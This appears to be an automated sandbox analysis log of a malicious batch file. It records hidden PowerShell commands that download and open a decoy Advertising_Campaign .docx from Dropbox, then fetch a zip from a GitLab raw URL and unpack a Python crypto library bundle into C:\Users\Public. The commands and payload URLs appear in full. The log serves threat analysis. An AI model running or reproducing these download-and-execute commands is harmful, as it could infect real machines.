Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_pkcs1_decode.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_des.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_eksblowfish.pyd	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5312:120:WilError_03

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\bose18mkt.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp.com 437
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fIndstr /L /I set "C:\Users\user\Desktop\bose18mkt.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fIndstr /L /I goto "C:\Users\user\Desktop\bose18mkt.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fIndstr /L /I echo "C:\Users\user\Desktop\bose18mkt.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fIndstr /L /I pause "C:\Users\user\Desktop\bose18mkt.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/bose1511/mkt1511/-/raw/main/18Fukrun.zip', 'C:\Users\Public\Document.zip')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp.com 437	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fIndstr /L /I set "C:\Users\user\Desktop\bose18mkt.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fIndstr /L /I goto "C:\Users\user\Desktop\bose18mkt.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fIndstr /L /I echo "C:\Users\user\Desktop\bose18mkt.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fIndstr /L /I pause "C:\Users\user\Desktop\bose18mkt.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/bose1511/mkt1511/-/raw/main/18Fukrun.zip', 'C:\Users\Public\Document.zip')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FF886C502FD push ds; iretd	12_2_00007FF886C503E2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FF886C50C05 push ds; iretd	12_2_00007FF886C50C1A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FF886C50C1B pushad ; iretd	12_2_00007FF886C5101A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FF886C50B83 push ds; iretd	15_2_00007FF886C50B82
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FF886C50B5D push ds; iretd	15_2_00007FF886C50B82

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3047	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6794	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5103	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1605	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4347	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5394	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4403	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5347	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_ofb.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_pkcs1_decode.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_des.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_aesni.pyd	Jump to dropped file
